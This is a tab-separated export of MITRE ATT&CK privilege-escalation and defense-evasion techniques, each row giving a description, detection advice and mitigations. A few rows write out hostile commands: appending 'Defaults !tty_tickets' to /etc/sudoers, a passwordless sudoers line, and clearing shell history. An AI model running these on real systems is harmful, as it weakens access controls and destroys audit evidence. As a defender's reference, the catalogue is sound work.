T1068	**1**	**Technique**	**Exploitation for Privilege Escalation**	Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform Privilege Escalation to include use of software exploitation to circumvent those restrictions. When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising a endpoint system that has been properly configured and limits other privilege escalation methods.	Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Higher privileges are often necessary to perform additional actions such as some methods of [Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges.	Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape) Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software components targeted for privilege escalation.	privilege-escalation	Windows Error Reporting, Process monitoring, Application logs	Linux, macOS	User	https://attack.mitre.org/techniques/T1068
T1181	**1**	**Technique**	**Extra Window Memory Injection**	Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function) Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process's memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process's EWM. Execution granted through EWM injection may take place in the address space of a separate live process. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Endgame Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)	Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Endgame Process Injection July 2017)	This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. Although EWM injection may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	defense-evasion, privilege-escalation	API monitoring, Process monitoring	Windows	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1181
T1502	**1**	**Technique**	**Parent PID Spoofing**	Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: Microsoft UAC Nov 2018) Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1086)/[Rundll32](https://attack.mitre.org/techniques/T1085) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via VBA [Scripting](https://attack.mitre.org/techniques/T1064) within a malicious Office document or any code that can perform [Execution through API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018) Explicitly assigning the PPID may also enable [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) (given appropriate access rights to the parent process). For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)	Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018) Monitor and analyze API calls to <code>CreateProcess</code>/<code>CreateProcessA</code>, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of <code>CreateProcess</code>/<code>CreateProcessA</code> may also be proceeded by a call to <code>UpdateProcThreadAttribute</code>, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.		defense-evasion, privilege-escalation	Windows event logs, Process monitoring, API monitoring	Windows	User, Administrator	https://attack.mitre.org/techniques/T1502

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1055	**1**	**Technique**	**Process Injection**	Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. ### Windows There are multiple approaches to injecting code into a live process. Windows implementations include: (Citation: Endgame Process Injection July 2017) * **Dynamic-link library (DLL) injection** involves writing the path to a malicious DLL inside a process then invoking execution by creating a remote thread. * **Portable executable injection** involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue. (Citation: Endgame HuntingNMemory June 2017) * **Thread execution hijacking** involves injecting malicious code or the path to a DLL into a thread of a process. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), the thread must first be suspended. * **Asynchronous Procedure Call** (APC) injection involves attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state. A variation of APC injection, dubbed "Early Bird injection", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table. (Citation: Microsoft Atom Table) * **Thread Local Storage** (TLS) callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. (Citation: FireEye TLS Nov 2017) ### Mac and Linux Implementations for Linux and OS X/macOS systems include: (Citation: Datawire Code Injection) (Citation: Uninformed Needle) * **LD_PRELOAD, LD_LIBRARY_PATH** (Linux), **DYLD_INSERT_LIBRARIES** (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process. (Citation: Phrack halfdead 1997) * **Ptrace system calls** can be used to attach to a running process and modify it in runtime. (Citation: Uninformed Needle) * **/proc/[pid]/mem** provides access to the memory of the process and can be used to read/write arbitrary data to it. This technique is very rare due to its complexity. (Citation: Uninformed Needle) * **VDSO hijacking** performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object. (Citation: VDSO hijack 2009) Malware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.	Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Endgame Process Injection July 2017) Monitoring for Linux specific calls such as the ptrace system call, the use of LD_PRELOAD environment variable, or dlfcn dynamic linking API calls, should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods. (Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) Monitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules. (Citation: Microsoft Sysmon v6 May 2017) Monitor processes and command-line arguments for actions that could be done before or after code injection has occurred and correlate the information with related event information. Code injection may also be performed using [PowerShell](https://attack.mitre.org/techniques/T1086) with tools such as PowerSploit, (Citation: Powersploit) so additional PowerShell monitoring may be required to cover known implementations of this behavior.	This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: GDSecurity Linux injection) Identify or block potentially malicious software that may contain process injection functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP) Utilize Yama (Citation: Linux kernel Yama) to mitigate ptrace based process injection by restricting the use of ptrace to privileged users only. Other mitigation controls involve the deployment of security kernel modules that provide advanced access control and process restrictions such as SELinux (Citation: SELinux official), grsecurity (Citation: grsecurity official), and AppArmor (Citation: AppArmor official).	defense-evasion, privilege-escalation	API monitoring, Windows Registry, File monitoring, DLL monitoring	Linux, macOS	User, Administrator	https://attack.mitre.org/techniques/T1055
T1178	**1**	**Technique**	**SID-History Injection**	The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens). Adversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [Windows Admin Shares](https://attack.mitre.org/techniques/T1077), or [Windows Remote Management](https://attack.mitre.org/techniques/T1028).	Examine data in user's SID-History attributes using the PowerShell Get-ADUser Cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Monitor Account Management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory) Monitor Windows API calls to the <code>DsAddSidHistory</code> function. (Citation: Microsoft DsAddSidHistory)	Clean up SID-History attributes after legitimate account migration is complete. Consider applying SID Filtering to interforest trusts, such as forest trusts and external trusts, to exclude SID-History from requests to access domain resources. SID Filtering ensures that any authentication requests over a trust only contain SIDs of security principals from the trusted domain (i.e. preventing the trusted domain from claiming a user has membership in groups outside of the domain). SID Filtering of forest trusts is enabled by default, but may have been disabled in some cases to allow a child domain to transitively access forest trusts. SID Filtering of external trusts is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID Filtering Quarantining Jan 2009) However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources. SID Filtering can be applied by: (Citation: Microsoft Netdom Trust Sept 2012) * Disabling SIDHistory on forest trusts using the netdom tool (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /EnableSIDHistory:no</code> on the domain controller). * Applying SID Filter Quarantining to external trusts using the netdom tool (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /quarantine:yes</code> on the domain controller) Applying SID Filtering to domain trusts within a single forest is not recommended as it is an unsupported configuration and can cause breaking changes. (Citation: Microsoft Netdom Trust Sept 2012) (Citation: AdSecurity Kerberos GT Aug 2015) If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust.	privilege-escalation	API monitoring, Authentication logs, Windows event logs	Windows	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1178

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1169	**1**	**Technique**	**Sudo**	The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code> (Citation: OSX.Dok Malware). Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.	On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).	The sudoers file should be strictly edited such that passwords are always required and that users can't spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.	privilege-escalation	File monitoring	Linux, macOS	User	https://attack.mitre.org/techniques/T1169
T1206	**1**	**Technique**	**Sudo Caching**	The <code>sudo</code> command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments." (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code> that is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again). Adversaries can abuse poor configurations of this to escalate privileges without needing the user's password. <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user's password. When <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user. The OSX Proton Malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \'Defaults !tty_tickets\' >> /etc/sudoers</code> (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.	This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the <code>LOG_INPUT</code> and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file.	Setting the <code>timestamp_timeout</code> to 0 will require the user to input their password every time <code>sudo</code> is executed. Similarly, ensuring that the <code>tty_tickets</code> setting is enabled will prevent this leakage across tty sessions.	privilege-escalation	File monitoring, Process command-line parameters	Linux, macOS	User	https://attack.mitre.org/techniques/T1206
TA0005	**0**	**Tactic**	**Defense Evasion**	The adversary is trying to avoid being detected. Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics' techniques are cross-listed here when those techniques include the added benefit of subverting defenses.							https://attack.mitre.org/tactics/TA0005
T1527	**1**	**Technique**	**Application Access Token**	Adversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials. Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta) For example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017) Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim's primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service	Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications. Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.		defense-evasion, lateral-movement	OAuth audit logs, Office 365 account logs	SaaS, Office 365	User	https://attack.mitre.org/techniques/T1527
T1009	**1**	**Technique**	**Binary Padding**	Adversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blacklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)	Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. When executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file.	Identify potentially malicious software that may be executed from a padded or otherwise obfuscated binary, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	defense-evasion	Binary file metadata, File monitoring, Malware reverse engineering	Linux, macOS		https://attack.mitre.org/techniques/T1009
T1146	**1**	**Technique**	**Clear Command History**	macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as <code>unset HISTFILE</code>, <code>export HISTFILESIZE=0</code>, <code>history -c</code>, <code>rm ~/.bash_history</code>.	User authentication, especially via remote terminal services like SSH, without new entries in that user's <code>~/.bash_history</code> is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the <code>~/.bash_history</code> file are indicators of suspicious activity.	Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their <code>~/.bash_history</code> files. Additionally, making these environment variables readonly can make sure that the history is preserved (Citation: Securing bash history).	defense-evasion	Authentication logs, File monitoring	Linux, macOS	User	https://attack.mitre.org/techniques/T1146
T1116	**1**	**Technique**	**Code Signing**	Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Code signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing) Code signing certificates may be used to bypass security policies that require signed code to execute on a system.	Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.	Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system. (Citation: NSA MS AppLocker) (Citation: TechNet Trusted Publishers) (Citation: Securelist Digital Certificates)	defense-evasion	Binary file metadata	macOS, Windows		https://attack.mitre.org/techniques/T1116

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1500	**1**	**Technique**	**Compile After Delivery**	Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018) Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)	Monitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development.	This type of technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, blocking all file compilation may have unintended side effects, such as preventing legitimate OS frameworks and code development mechanisms from operating properly. Consider removing compilers if not needed, otherwise efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. Identify unnecessary system utilities or potentially malicious software that may be used to decrypt, deobfuscate, decode, and compile files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	defense-evasion	Process command-line parameters, Process monitoring, File monitoring	Linux, macOS	User	https://attack.mitre.org/techniques/T1500
T1090	**1**	**Technique**	**Connection Proxy**	Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the internet and then the proxy would forward communications to the C2 server. Internal connection proxies can be used to consolidate internal connections from compromised systems. Adversaries may use a compromised internal system as a proxy in order to conceal the true destination of C2 traffic. The proxy can redirect traffic from compromised systems inside the network to an external C2 server making discovery of malicious traffic difficult. Additionally, the network can be used to relay information from one system to another in order to avoid broadcasting traffic to all systems.	Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)	Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)	command-and-control, defense-evasion	Process use of network, Process monitoring, Netflow/Enclave netflow, Packet capture	Linux, macOS		https://attack.mitre.org/techniques/T1090
T1207	**1**	**Technique**	**DCShadow**	DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a Domain Controller (DC). (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys. Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide) This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1178) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018)	Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) DC replication will naturally take place every 15 minutes but can be triggered by an attacker or by legitimate urgent changes (ex: passwords). (Citation: BlueHat DCShadow Jan 2018) Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog) Leverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018) Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: BlueHat DCShadow Jan 2018) Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with "GC/") by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235-4B06-11D1-AB04-00C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.	This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of AD design features. For example, mitigating specific AD API calls will likely have unintended side effects, such as preventing DC replication from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.	defense-evasion	API monitoring, Authentication logs, Network protocol analysis, Packet capture	Windows	Administrator	https://attack.mitre.org/techniques/T1207
